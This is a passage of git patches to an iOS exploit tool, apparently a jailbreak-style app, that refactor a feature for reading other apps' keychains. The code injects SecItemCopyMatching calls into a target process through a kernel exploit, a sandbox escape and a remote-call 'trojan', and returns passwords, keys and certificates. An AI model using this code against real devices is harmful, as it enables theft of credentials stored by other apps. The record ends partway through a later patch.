Yan Date: Thu, 9 Jul 2026 14:13:18 +0800 Subject: [PATCH 08/17] Add warning and fix crash --- lara/views/tweaks/KeychainView.swift | 43 +++++++++++++++++++++------- 1 file changed, 33 insertions(+), 10 deletions(-) diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index 553d72829..82a37d4c0 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -319,7 +319,10 @@ struct KeychainView: View { } private var currentResultSection: some View { - Section(header: HeaderLabel(text: "Current Result", icon: "tray.full")) { + Section( + header: HeaderLabel(text: "Current Result", icon: "tray.full"), + footer: Text("Keychain reading relies on RemoteCall and exploit state. It may be unstable and can fail, return incomplete results or make app crash.") + ) { if let currentResult { LabeledContent("App") { Text(currentResult.app.name) @@ -482,10 +485,18 @@ struct KeychainView: View { errormsg = "Darksword not ready. Run the exploit first." return } + guard mgr.hasOffsets else { + errormsg = "Offsets not ready. Fetch the kernelcache offsets first." + return + } guard mgr.sbxready else { errormsg = "Sandbox escape not ready." return } + guard !app.executable.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { + errormsg = "App executable is missing." + return + } runRead(app) } @@ -514,16 +525,22 @@ struct KeychainView: View { } } - private func attemptPendingRead(reportFailure: Bool) { + private func attemptPendingRead(reportFailure _: Bool) { guard let app = pendingread else { return } - let pid = find_process_pid(app.executable) - guard pid > 0 else { - if reportFailure { - pendingread = nil - datareadingbid = nil - errormsg = "Process not found after launch. Try manually." - endLaunchBackgroundTask() - } + + guard mgr.dsready, mgr.hasOffsets, mgr.sbxready else { + pendingread = nil + datareadingbid = nil + errormsg = "Exploit state changed. Reinitialize and try again." + endLaunchBackgroundTask() + return + } + + guard !app.executable.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { + pendingread = nil + datareadingbid = nil + errormsg = "App executable is missing." + endLaunchBackgroundTask() return } @@ -533,6 +550,12 @@ struct KeychainView: View { } private func doRead(_ app: KeychainApp) { + guard mgr.dsready, mgr.hasOffsets, mgr.sbxready else { + datareadingbid = nil + errormsg = "Exploit state changed. Reinitialize and try again." + return + } + laramgr.shared.logmsg("(keychain) reading \(app.bundleID)...") DispatchQueue.global(qos: .userInitiated).async { From a870fdee1dafbe96f29fc9ed875b87c8679e585e Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 14:29:04 +0800 Subject: [PATCH 09/17] ObjC code clean and enhance exception handling --- lara/kexploit/keychain.h | 14 +- lara/kexploit/keychain.m | 480 ++++++++++++++++++++++++--------------- 2 files changed, 298 insertions(+), 196 deletions(-) diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h index ba61500a8..189456f46 100644 --- a/lara/kexploit/keychain.h +++ b/lara/kexploit/keychain.h @@ -1,5 +1,5 @@ // -// decrypt.h +// keychain.h // lara // // Created by neonmodder123 on 23.05.26. @@ -10,17 +10,12 @@ #include #include -#include #import #import "RemoteCall.h" typedef void (*log_callback_t)(const char * _Nullable message); -typedef void (*progress_callback_t)(double progress); void set_log_callback_kc(log_callback_t _Nullable callback); -void set_progress_callback_kc(progress_callback_t _Nullable callback); - -extern volatile double keychain_progress; typedef struct { uint64_t SecItemCopyMatching; @@ -45,11 +40,6 @@ typedef struct { uint64_t kSecAttrAccessControl; } remote_sec_symbols; -typedef struct { - uint64_t sel_retain; - uint64_t sel_release; -} remote_objc_lifetimes; - typedef NS_ENUM(NSUInteger, sec_class) { kSCGenericPassword = 0, kSCInternetPassword, @@ -60,7 +50,5 @@ typedef NS_ENUM(NSUInteger, sec_class) { bool find_secitem_symbols(RemoteCall * _Nonnull proc, remote_sec_symbols * _Nonnull symbols); NSArray * _Nullable get_secitems(RemoteCall * _Nonnull proc, remote_sec_symbols * _Nonnull symbols, sec_class target_sec_class, bool get_data); -// NSString* get_secitem_desc(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key); -// NSData* get_secitem_data(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key); #endif /* keychain_h */ diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m index 650e1a7d9..1b567ab89 100644 --- a/lara/kexploit/keychain.m +++ b/lara/kexploit/keychain.m @@ -1,88 +1,76 @@ // -// decrypt.m +// keychain.m // lara // // Created by neonmodder123 on 23.05.26. // #import "keychain.h" -#import "darksword.h" -#import "offsets.h" -#import "utils.h" -#import "vm.h" #import #import -#import #import #import -#import -#import +#import -extern kern_return_t mach_vm_deallocate(task_t task, mach_vm_address_t addr, mach_vm_size_t size); +typedef struct { + uint64_t sel_retain; + uint64_t sel_release; +} remote_objc_lifetimes; static log_callback_t g_log_cb_kc = NULL; -static progress_callback_t g_prog_cb_kc = NULL; + +static const int32_t kSecItemNotFoundStatus = -25300; +static const char *kSecurityFrameworkPath = "/System/Library/Frameworks/Security.framework/Security"; void set_log_callback_kc(log_callback_t callback) { g_log_cb_kc = callback; } -void set_progress_callback_kc(progress_callback_t callback) { - g_prog_cb_kc = callback; -} - -volatile double keychain_progress = 0.0; - static void logmsg(const char *msg) { - if (g_log_cb_kc) { g_log_cb_kc(msg); } - printf("(keychain) %s\n", msg); -} - -static void progupdate(double p) { - keychain_progress = p; - if (g_prog_cb_kc) { g_prog_cb_kc(p); } + const char *safeMessage = msg ? msg : "(null)"; + if (g_log_cb_kc) { + g_log_cb_kc(safeMessage); + } + printf("(keychain) %s\n", safeMessage); } -static const int32_t kSecItemNotFoundStatus = -25300; -static const uint64_t kBinaryFormat = 200; - static void log_status_message(const char *prefix, int32_t status) { char msg[160]; snprintf(msg, sizeof(msg), "%s (%d)", prefix, status); logmsg(msg); } -static remote_objc_lifetimes uni_lifetimes; - -bool find_objc_lifetimes(RemoteCall *proc) { - if (!proc) return false; - uni_lifetimes.sel_retain = 0; - uni_lifetimes.sel_release = 0; - - uni_lifetimes.sel_retain = remote_sel(proc, "retain"); - uni_lifetimes.sel_release = remote_sel(proc, "release"); - if (uni_lifetimes.sel_retain && uni_lifetimes.sel_release) { - return true; +static bool find_objc_lifetimes(RemoteCall *proc, remote_objc_lifetimes *lifetimes) { + if (!proc || !lifetimes) { + return false; } - return false; + + *lifetimes = (remote_objc_lifetimes){0}; + lifetimes->sel_retain = remote_sel(proc, "retain"); + lifetimes->sel_release = remote_sel(proc, "release"); + return lifetimes->sel_retain != 0 && lifetimes->sel_release != 0; } -uint64_t remote_retain(RemoteCall *proc, uint64_t remoteObj) { - if (!remoteObj) return 0; - if (!uni_lifetimes.sel_retain) find_objc_lifetimes(proc); - if (!uni_lifetimes.sel_retain) return 0; - return remote_msg(proc, remoteObj, uni_lifetimes.sel_retain, 0, 0, 0, 0); +static uint64_t remote_retain(RemoteCall *proc, const remote_objc_lifetimes *lifetimes, uint64_t remoteObj) { + if (!proc || !lifetimes || !lifetimes->sel_retain || !remoteObj) { + return 0; + } + return remote_msg(proc, remoteObj, lifetimes->sel_retain, 0, 0, 0, 0); } -void remote_release(RemoteCall *proc, uint64_t remoteObj) { - if (!remoteObj) return; - if (!uni_lifetimes.sel_release) find_objc_lifetimes(proc); - if (!uni_lifetimes.sel_release) return; - remote_msg(proc, remoteObj, uni_lifetimes.sel_release, 0, 0, 0, 0); +static void remote_release(RemoteCall *proc, const remote_objc_lifetimes *lifetimes, uint64_t remoteObj) { + if (!proc || !lifetimes || !lifetimes->sel_release || !remoteObj) { + return; + } + remote_msg(proc, remoteObj, lifetimes->sel_release, 0, 0, 0, 0); } static bool remote_load_library(RemoteCall *proc, const char *path) { + if (!proc || !path) { + return false; + } + uint64_t remotePath = remote_alloc_str(proc, path); if (!remotePath) { return false; @@ -96,59 +84,157 @@ static bool remote_load_library(RemoteCall *proc, const char *path) { } static uint64_t remote_resolve_object_symbol(RemoteCall *proc, const char *name) { + if (!proc || !name) { + return 0; + } + uint64_t symbolSlot = remote_dlsym(proc, name); if (!symbolSlot) { return 0; } + uint64_t tmp = proc.trojanMem; RemoteArbCall(proc, memcpy, tmp, symbolSlot, 8); return [proc remoteRead64From:tmp]; } -static bool load_sec_constant_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { -#define RESOLVE_OBJECT_SYMBOL(field, symbolName) \ +static bool resolve_function_symbol(RemoteCall *proc, const char *name, uint64_t *symbol, bool logFailures) { + if (!proc || !name || !symbol) { + return false; + } + + *symbol = remote_dlsym(proc, name); + if (*symbol) { + return true; + } + + if (logFailures) { + char msg[160]; + snprintf(msg, sizeof(msg), "failed to resolve %s", name); + logmsg(msg); + } + return false; +} + +static bool resolve_object_symbol(RemoteCall *proc, const char *name, uint64_t *symbol, bool logFailures) { + if (!proc || !name || !symbol) { + return false; + } + + *symbol = remote_resolve_object_symbol(proc, name); + if (*symbol) { + return true; + } + + if (logFailures) { + char msg[160]; + snprintf(msg, sizeof(msg), "failed to resolve %s", name); + logmsg(msg); + } + return false; +} + +static bool resolve_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols, bool logFailures) { + if (!proc || !symbols) { + return false; + } + + *symbols = (remote_sec_symbols){0}; + +#define RESOLVE_FUNCTION(field, symbolName) \ + do { \ + if (!resolve_function_symbol(proc, symbolName, &symbols->field, logFailures)) { \ + return false; \ + } \ + } while (0) + +#define RESOLVE_OBJECT(field, symbolName) \ do { \ - symbols->field = remote_resolve_object_symbol(proc, symbolName); \ - if (!symbols->field) { \ - char msg[160]; \ - snprintf(msg, sizeof(msg), "failed to resolve %s", symbolName); \ - logmsg(msg); \ + if (!resolve_object_symbol(proc, symbolName, &symbols->field, logFailures)) { \ return false; \ } \ } while (0) - RESOLVE_OBJECT_SYMBOL(kSecClass, "kSecClass"); - RESOLVE_OBJECT_SYMBOL(kSecClassGenericPassword, "kSecClassGenericPassword"); - RESOLVE_OBJECT_SYMBOL(kSecClassInternetPassword, "kSecClassInternetPassword"); - RESOLVE_OBJECT_SYMBOL(kSecClassCertificate, "kSecClassCertificate"); - RESOLVE_OBJECT_SYMBOL(kSecClassKey, "kSecClassKey"); - RESOLVE_OBJECT_SYMBOL(kSecClassIdentity, "kSecClassIdentity"); - RESOLVE_OBJECT_SYMBOL(kCFBooleanTrue, "kCFBooleanTrue"); - RESOLVE_OBJECT_SYMBOL(kCFBooleanFalse, "kCFBooleanFalse"); - RESOLVE_OBJECT_SYMBOL(kSecReturnAttributes, "kSecReturnAttributes"); - RESOLVE_OBJECT_SYMBOL(kSecReturnData, "kSecReturnData"); - RESOLVE_OBJECT_SYMBOL(kSecMatchLimit, "kSecMatchLimit"); - RESOLVE_OBJECT_SYMBOL(kSecMatchLimitAll, "kSecMatchLimitAll"); - RESOLVE_OBJECT_SYMBOL(kSecMatchLimitOne, "kSecMatchLimitOne"); - RESOLVE_OBJECT_SYMBOL(kSecAttrAccessControl, "kSecAttrAccessControl"); - -#undef RESOLVE_OBJECT_SYMBOL + RESOLVE_FUNCTION(SecItemCopyMatching, "SecItemCopyMatching"); + + RESOLVE_OBJECT(kSecClass, "kSecClass"); + RESOLVE_OBJECT(kSecClassGenericPassword, "kSecClassGenericPassword"); + RESOLVE_OBJECT(kSecClassInternetPassword, "kSecClassInternetPassword"); + RESOLVE_OBJECT(kSecClassCertificate, "kSecClassCertificate"); + RESOLVE_OBJECT(kSecClassKey, "kSecClassKey"); + RESOLVE_OBJECT(kSecClassIdentity, "kSecClassIdentity"); + + RESOLVE_OBJECT(kCFBooleanTrue, "kCFBooleanTrue"); + RESOLVE_OBJECT(kCFBooleanFalse, "kCFBooleanFalse"); + + RESOLVE_OBJECT(kSecReturnAttributes, "kSecReturnAttributes"); + RESOLVE_OBJECT(kSecReturnData, "kSecReturnData"); + + RESOLVE_OBJECT(kSecMatchLimit, "kSecMatchLimit"); + RESOLVE_OBJECT(kSecMatchLimitAll, "kSecMatchLimitAll"); + RESOLVE_OBJECT(kSecMatchLimitOne, "kSecMatchLimitOne"); + + RESOLVE_OBJECT(kSecAttrAccessControl, "kSecAttrAccessControl"); + +#undef RESOLVE_FUNCTION +#undef RESOLVE_OBJECT + return true; } -void remote_description(RemoteCall *proc, uint64_t remoteObj) { - uint64_t remoteDesc = remote_msg(proc, remoteObj, remote_sel(proc, "description"), 0, 0, 0, 0); - uint64_t remoteStr = remote_msg(proc, remoteDesc, remote_sel(proc, "UTF8String"), 0, 0, 0, 0); - size_t len = RemoteArbCall(proc, strlen, remoteStr); - if (len) { - char* desc = malloc(len) + 1; - [proc remoteRead:remoteStr to:desc size:len]; +static void remote_description(RemoteCall *proc, const remote_objc_lifetimes *lifetimes, uint64_t remoteObj) { + if (!proc || !remoteObj) { + return; + } + + uint64_t sel_description = remote_sel(proc, "description"); + uint64_t sel_UTF8String = remote_sel(proc, "UTF8String"); + if (!sel_description || !sel_UTF8String) { + return; + } + + uint64_t remoteDesc = remote_msg(proc, remoteObj, sel_description, 0, 0, 0, 0); + if (!remoteDesc) { + return; + } + + uint64_t retainedDesc = remote_retain(proc, lifetimes, remoteDesc); + if (!retainedDesc) { + return; + } + + uint64_t remoteStr = remote_msg(proc, retainedDesc, sel_UTF8String, 0, 0, 0, 0); + if (!remoteStr) { + remote_release(proc, lifetimes, retainedDesc); + return; + } + + size_t len = (size_t)RemoteArbCall(proc, strlen, remoteStr); + if (len == 0) { + remote_release(proc, lifetimes, retainedDesc); + return; + } + + char *desc = calloc(len + 1, sizeof(char)); + if (!desc) { + remote_release(proc, lifetimes, retainedDesc); + logmsg("failed to allocate remote description buffer"); + return; + } + + if ([proc remoteRead:remoteStr to:desc size:len]) { + desc[len] = '\0'; logmsg(desc); + } else { + logmsg("failed to read remote description"); } + + free(desc); + remote_release(proc, lifetimes, retainedDesc); } static NSData *copy_remote_nsdata(RemoteCall *proc, uint64_t remoteData) { - if (!remoteData) { + if (!proc || !remoteData) { return nil; } @@ -160,19 +246,18 @@ void remote_description(RemoteCall *proc, uint64_t remoteObj) { uint64_t dataLength = remote_msg(proc, remoteData, sel_length, 0, 0, 0, 0); if (dataLength == 0) { - logmsg("Empty NSData"); return [NSData data]; } uint64_t bytesPtr = remote_msg(proc, remoteData, sel_bytes, 0, 0, 0, 0); if (!bytesPtr) { - logmsg("Cannot get bytesPtr from NSData"); + logmsg("failed to get bytes from remote NSData"); return nil; } void *buffer = malloc((size_t)dataLength); if (!buffer) { - logmsg("Buffer alloc failed"); + logmsg("failed to allocate local buffer for remote NSData"); return nil; } @@ -180,51 +265,68 @@ void remote_description(RemoteCall *proc, uint64_t remoteObj) { if ([proc remoteRead:bytesPtr to:buffer size:dataLength]) { data = [NSData dataWithBytes:buffer length:(NSUInteger)dataLength]; } else { - logmsg("Remote Read failed"); + logmsg("failed to read remote NSData bytes"); } + free(buffer); return data; } -static NSData *copy_remote_property_list_data(RemoteCall *proc, uint64_t remotePropertyList) { - if (!remotePropertyList) { +static NSData *copy_remote_property_list_data(RemoteCall *proc, const remote_objc_lifetimes *lifetimes, uint64_t remotePropertyList) { + if (!proc || !lifetimes || !remotePropertyList) { return nil; } + NSData *plistData = nil; + uint64_t errorRef = 0; + uint64_t remoteData = 0; + uint64_t retainedData = 0; + uint64_t cls_NSPropertyListSerialization = remote_getClass(proc, "NSPropertyListSerialization"); uint64_t sel_dataWithPropertyList = remote_sel(proc, "dataWithPropertyList:format:options:error:"); if (!cls_NSPropertyListSerialization || !sel_dataWithPropertyList) { return nil; } - uint64_t errorRef = remote_alloc_ref(proc, 0); + errorRef = remote_alloc_ref(proc, 0); + if (!errorRef) { + logmsg("failed to allocate remote serialization error pointer"); + goto cleanup; + } - // logmsg("Start serialization"); - uint64_t remoteData = remote_msg( + remoteData = remote_msg( proc, cls_NSPropertyListSerialization, sel_dataWithPropertyList, remotePropertyList, - kBinaryFormat, 0, errorRef + NSPropertyListBinaryFormat_v1_0, + 0, + errorRef ); if (!remoteData) { - logmsg("NSPropertyListSerialization init failed without retain"); + logmsg("NSPropertyListSerialization returned no data"); uint64_t error = [proc remoteRead64From:errorRef]; if (error) { - remote_description(proc, error); + remote_description(proc, lifetimes, error); } - return nil; + goto cleanup; } - remoteData = remote_retain(proc, remoteData); - if (!remoteData) { - logmsg("NSPropertyListSerialization init failed after retain"); - return nil; + retainedData = remote_retain(proc, lifetimes, remoteData); + if (!retainedData) { + logmsg("failed to retain serialized property list data"); + goto cleanup; } - // logmsg("Serialization finish"); - NSData *plistData = copy_remote_nsdata(proc, remoteData); - remote_release(proc, remoteData); + plistData = copy_remote_nsdata(proc, retainedData); + +cleanup: + if (retainedData) { + remote_release(proc, lifetimes, retainedData); + } + if (!proc.trojanMemIsStackFallback && errorRef) { + RemoteArbCall(proc, free, errorRef); + } return plistData; } @@ -239,7 +341,8 @@ void remote_description(RemoteCall *proc, uint64_t remoteObj) { format:nil error:&error]; if (!plist) { - logmsg(error.localizedDescription.UTF8String ?: "failed to decode keychain plist"); + const char *message = error.localizedDescription.UTF8String; + logmsg(message ? message : "failed to decode keychain plist"); return nil; } @@ -266,83 +369,84 @@ bool find_secitem_symbols(RemoteCall *proc, remote_sec_symbols *symbols) { if (!proc || !symbols) { return false; } - find_objc_lifetimes(proc); - - *symbols = (remote_sec_symbols){0}; - symbols->SecItemCopyMatching = remote_dlsym(proc, "SecItemCopyMatching"); - if (!symbols->SecItemCopyMatching) { - logmsg("failed to resolve SecItemCopyMatching"); - return false; + if (resolve_secitem_symbols(proc, symbols, false)) { + return true; } - bool result = load_sec_constant_symbols(proc, symbols); - if (!result && remote_load_library(proc, "/System/Library/Frameworks/Security.framework/Security")) { - result = load_sec_constant_symbols(proc, symbols); + if (!remote_load_library(proc, kSecurityFrameworkPath)) { + logmsg("failed to load Security.framework"); } - return result; + + return resolve_secitem_symbols(proc, symbols, true); } -uint64_t remote_NSMutableDictionary_dictionary(RemoteCall *proc) { +static uint64_t remote_NSMutableDictionary_dictionary(RemoteCall *proc) { + if (!proc) { + return 0; + } + uint64_t cls_NSMutableDictionary = remote_getClass(proc, "NSMutableDictionary"); uint64_t sel_alloc = remote_sel(proc, "alloc"); uint64_t sel_init = remote_sel(proc, "init"); + if (!cls_NSMutableDictionary || !sel_alloc || !sel_init) { + return 0; + } - uint64_t raw_handler = remote_msg(proc, cls_NSMutableDictionary, sel_alloc, 0, 0, 0, 0); - uint64_t handler = remote_msg(proc, raw_handler, sel_init, 0, 0, 0, 0); + uint64_t rawHandler = remote_msg(proc, cls_NSMutableDictionary, sel_alloc, 0, 0, 0, 0); + if (!rawHandler) { + return 0; + } - return handler; + return remote_msg(proc, rawHandler, sel_init, 0, 0, 0, 0); } -bool remote_NSMutableDictionary_setObjectForKey(RemoteCall *proc, uint64_t remoteDict, uint64_t remoteObject, uint64_t remoteKey) { - if (!remoteDict || !remoteObject || !remoteKey) return false; +static bool remote_NSMutableDictionary_setObjectForKey(RemoteCall *proc, uint64_t remoteDict, uint64_t remoteObject, uint64_t remoteKey) { + if (!proc || !remoteDict || !remoteObject || !remoteKey) { + return false; + } + uint64_t sel_setObjectForKey = remote_sel(proc, "setObject:forKey:"); + if (!sel_setObjectForKey) { + return false; + } + remote_msg(proc, remoteDict, sel_setObjectForKey, remoteObject, remoteKey, 0, 0); return true; } -uint64_t remote_NSMutableDictionary_objectForKey(RemoteCall *proc, uint64_t remoteDict, uint64_t remoteKey) { - if (!remoteDict || !remoteKey) return 0; - uint64_t sel_objectForKey = remote_sel(proc, "objectForKey:"); - uint64_t result = remote_msg(proc, remoteDict, sel_objectForKey, remoteKey, 0, 0, 0); - remote_retain(proc, result); - return result; -} - -uint64_t remote_NSMutableDictionary_allKeys(RemoteCall *proc, uint64_t remoteDict) { - if (!remoteDict) return 0; - uint64_t sel_allKeys = remote_sel(proc, "allKeys"); - uint64_t keys_array = remote_msg(proc, remoteDict, sel_allKeys, 0, 0, 0, 0); - remote_retain(proc, keys_array); - return keys_array; -} +static bool remote_isKindOfClass_name(RemoteCall *proc, uint64_t remoteObject, const char *className) { + if (!proc || !remoteObject || !className) { + return false; + } -bool remote_isKindOfClass_name(RemoteCall *proc, uint64_t remoteObject, const char *className) { uint64_t sel_isKindOfClass = remote_sel(proc, "isKindOfClass:"); uint64_t cls_target = remote_getClass(proc, className); - if (!sel_isKindOfClass || !cls_target) { return false; } - if (remote_msg(proc, remoteObject, sel_isKindOfClass, cls_target, 0, 0, 0) == YES) { - return true; - } - return false; + + return remote_msg(proc, remoteObject, sel_isKindOfClass, cls_target, 0, 0, 0) == YES; } -bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t cls) { - uint64_t sel_isKindOfClass = remote_sel(proc, "isKindOfClass:"); - - if (!sel_isKindOfClass || !cls) { +static bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t cls) { + if (!proc || !remoteObject || !cls) { return false; } - if (remote_msg(proc, remoteObject, sel_isKindOfClass, cls, 0, 0, 0) == YES) { - return true; + + uint64_t sel_isKindOfClass = remote_sel(proc, "isKindOfClass:"); + if (!sel_isKindOfClass) { + return false; } - return false; + + return remote_msg(proc, remoteObject, sel_isKindOfClass, cls, 0, 0, 0) == YES; } -NSData *serialize_keychain_results(RemoteCall *proc, remote_sec_symbols* symbols, uint64_t remoteResultObject) { +static NSData *serialize_keychain_results(RemoteCall *proc, const remote_objc_lifetimes *lifetimes, remote_sec_symbols *symbols, uint64_t remoteResultObject) { + if (!proc || !lifetimes || !symbols || !remoteResultObject) { + return nil; + } + NSData *plistData = nil; uint64_t cls_NSMutableArray = remote_getClass(proc, "NSMutableArray"); @@ -361,45 +465,66 @@ bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t !sel_objectAtIndex || !sel_mutableCopy || !sel_removeObjectForKey || - !sel_addObject - ) { + !sel_addObject) { return nil; } if (remote_isKindOfClass_name(proc, remoteResultObject, "NSArray")) { - - size_t remoteArrayCount = remote_msg(proc, remoteResultObject, sel_count, 0, 0, 0, 0); + uint64_t remoteArrayCount = remote_msg(proc, remoteResultObject, sel_count, 0, 0, 0, 0); uint64_t mutableArray = remote_msg(proc, cls_NSMutableArray, sel_arrayWithCapacity, remoteArrayCount, 0, 0, 0); - mutableArray = remote_retain(proc, mutableArray); + uint64_t retainedArray = remote_retain(proc, lifetimes, mutableArray); + if (!retainedArray) { + logmsg("failed to retain mutable array for keychain serialization"); + return nil; + } - for (size_t idx = 0; idx < remoteArrayCount; idx++) { + for (uint64_t idx = 0; idx < remoteArrayCount; idx++) { uint64_t item = remote_msg(proc, remoteResultObject, sel_objectAtIndex, idx, 0, 0, 0); if (remote_isKindOfClass_cls(proc, item, cls_NSDictionary)) { uint64_t mutableDict = remote_msg(proc, item, sel_mutableCopy, 0, 0, 0, 0); + if (!mutableDict) { + logmsg("failed to create mutable keychain item copy"); + remote_release(proc, lifetimes, retainedArray); + return nil; + } remote_msg(proc, mutableDict, sel_removeObjectForKey, symbols->kSecAttrAccessControl, 0, 0, 0); - remote_msg(proc, mutableArray, sel_addObject, mutableDict, 0, 0, 0); + remote_msg(proc, retainedArray, sel_addObject, mutableDict, 0, 0, 0); + remote_release(proc, lifetimes, mutableDict); } else { - remote_msg(proc, mutableArray, sel_addObject, item, 0, 0, 0); + remote_msg(proc, retainedArray, sel_addObject, item, 0, 0, 0); } } - plistData = copy_remote_property_list_data(proc, mutableArray); - remote_release(proc, mutableArray); - - } else if (remote_isKindOfClass_cls(proc, remoteResultObject, cls_NSDictionary)) { + plistData = copy_remote_property_list_data(proc, lifetimes, retainedArray); + remote_release(proc, lifetimes, retainedArray); + return plistData; + } + if (remote_isKindOfClass_cls(proc, remoteResultObject, cls_NSDictionary)) { uint64_t mutableDict = remote_msg(proc, remoteResultObject, sel_mutableCopy, 0, 0, 0, 0); + if (!mutableDict) { + logmsg("failed to create mutable keychain result copy"); + return nil; + } remote_msg(proc, mutableDict, sel_removeObjectForKey, symbols->kSecAttrAccessControl, 0, 0, 0); - plistData = copy_remote_property_list_data(proc, mutableDict); - - } else { - plistData = copy_remote_property_list_data(proc, remoteResultObject); + plistData = copy_remote_property_list_data(proc, lifetimes, mutableDict); + remote_release(proc, lifetimes, mutableDict); + return plistData; } - return plistData; + + return copy_remote_property_list_data(proc, lifetimes, remoteResultObject); } -NSArray * _Nullable get_secitems(RemoteCall* proc, remote_sec_symbols* symbols, sec_class target_sec_class, bool get_data) { - if (!proc || !symbols) return nil; +NSArray * _Nullable get_secitems(RemoteCall *proc, remote_sec_symbols *symbols, sec_class target_sec_class, bool get_data) { + if (!proc || !symbols) { + return nil; + } + + remote_objc_lifetimes lifetimes = {0}; + if (!find_objc_lifetimes(proc, &lifetimes)) { + logmsg("failed to resolve Objective-C lifetime selectors"); + return nil; + } uint64_t remoteQueryDict = remote_NSMutableDictionary_dictionary(proc); uint64_t remoteResultRef = 0; @@ -408,26 +533,24 @@ bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t int32_t status = 0; NSArray *results = nil; NSData *plistData = nil; - - if (!remoteQueryDict) return nil; + + if (!remoteQueryDict) { + return nil; + } switch (target_sec_class) { case kSCGenericPassword: remoteClassValue = symbols->kSecClassGenericPassword; break; - case kSCInternetPassword: remoteClassValue = symbols->kSecClassInternetPassword; break; - case kSCCertificate: remoteClassValue = symbols->kSecClassCertificate; break; - case kSCKey: remoteClassValue = symbols->kSecClassKey; break; - case kSCIdentity: remoteClassValue = symbols->kSecClassIdentity; break; @@ -474,8 +597,7 @@ bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t goto cleanup; } - - plistData = serialize_keychain_results(proc, symbols, remoteResultObject); + plistData = serialize_keychain_results(proc, &lifetimes, symbols, remoteResultObject); if (!plistData) { logmsg("failed to serialize remote keychain result"); goto cleanup; @@ -487,15 +609,7 @@ bool remote_isKindOfClass_cls(RemoteCall *proc, uint64_t remoteObject, uint64_t if (!proc.trojanMemIsStackFallback && remoteResultRef) { RemoteArbCall(proc, free, remoteResultRef); } - remote_release(proc, remoteQueryDict); - remote_release(proc, remoteResultObject); + remote_release(proc, &lifetimes, remoteQueryDict); + remote_release(proc, &lifetimes, remoteResultObject); return results; } - -// NSString* get_secitem_desc(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key) { - -// } - -// NSData* get_secitem_data(RemoteCall* proc, remote_sec_symbols* symbols, NSString* key){ - -// } From b359682d8e7c59fde3cceb1669d623d8506bb778 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 14:38:43 +0800 Subject: [PATCH 10/17] sign --- lara/kexploit/keychain.h | 2 +- lara/kexploit/keychain.m | 2 +- lara/views/tweaks/KeychainView.swift | 3 ++- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lara/kexploit/keychain.h b/lara/kexploit/keychain.h index 189456f46..abe59543e 100644 --- a/lara/kexploit/keychain.h +++ b/lara/kexploit/keychain.h @@ -2,7 +2,7 @@ // keychain.h // lara // -// Created by neonmodder123 on 23.05.26. +// Created by yyfll on 08.07.26. // #ifndef keychain_h diff --git a/lara/kexploit/keychain.m b/lara/kexploit/keychain.m index 1b567ab89..b5b0385bd 100644 --- a/lara/kexploit/keychain.m +++ b/lara/kexploit/keychain.m @@ -2,7 +2,7 @@ // keychain.m // lara // -// Created by neonmodder123 on 23.05.26. +// Created by yyfll on 08.07.26. // #import "keychain.h" diff --git a/lara/views/tweaks/KeychainView.swift b/lara/views/tweaks/KeychainView.swift index 82a37d4c0..1a46187ac 100644 --- a/lara/views/tweaks/KeychainView.swift +++ b/lara/views/tweaks/KeychainView.swift @@ -2,7 +2,8 @@ // KeychainView.swift // lara // -// Created by neonmodder123 on 23.05.26. +// Created by yyfll on 08.07.26. +// Modified from DecryptView.swift // import SwiftUI From ecb1c3345c29f7a57c11a4c4d3b84abde4eb4c22 Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 14:48:30 +0800 Subject: [PATCH 11/17] seems no need to use misaligned --- lara/kexploit/TaskRop/RemoteCall.h | 21 ++++----------------- 1 file changed, 4 insertions(+), 17 deletions(-) diff --git a/lara/kexploit/TaskRop/RemoteCall.h b/lara/kexploit/TaskRop/RemoteCall.h index e80bb18cf..6221eda03 100644 --- a/lara/kexploit/TaskRop/RemoteCall.h +++ b/lara/kexploit/TaskRop/RemoteCall.h @@ -29,24 +29,11 @@ #define __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_PC 0x4 #define __DARWIN_ARM_THREAD_STATE64_FLAGS_KERNEL_SIGNED_LR 0x8 -static inline uintptr_t get_dsc_base_marker(void) { - static uintptr_t base = 0; - static dispatch_once_t onceToken; - dispatch_once(&onceToken, ^{ - base = (uintptr_t)dlsym(RTLD_DEFAULT, "getpid"); - }); - return base; -} - #define SHMEM_CACHE_SIZE 100 -// #define FAKE_PC_TROJAN_CREATOR 0x101 -// #define FAKE_LR_TROJAN_CREATOR 0x201 -// #define FAKE_PC_TROJAN 0x301 -// #define FAKE_LR_TROJAN 0x401 -#define FAKE_PC_TROJAN_CREATOR (get_dsc_base_marker() + 1) -#define FAKE_LR_TROJAN_CREATOR (get_dsc_base_marker() + 2) -#define FAKE_PC_TROJAN (get_dsc_base_marker() + 3) -#define FAKE_LR_TROJAN (get_dsc_base_marker() + 5) +#define FAKE_PC_TROJAN_CREATOR 0x101 +#define FAKE_LR_TROJAN_CREATOR 0x201 +#define FAKE_PC_TROJAN 0x301 +#define FAKE_LR_TROJAN 0x401 // from https://github.com/nickingravallo/Machium/blob/main/Machium/Breakpoint.h #define BREAKPOINT_ENABLE 481 From ed69dc561b384d2376cca307d4983144c6260e4d Mon Sep 17 00:00:00 2001 From: QZ Yan Date: Thu, 9 Jul 2026 15:00:09 +0800 Subject: [PATCH 12/17] clean header --- lara/kexploit/TaskRop/RemoteCall.h | 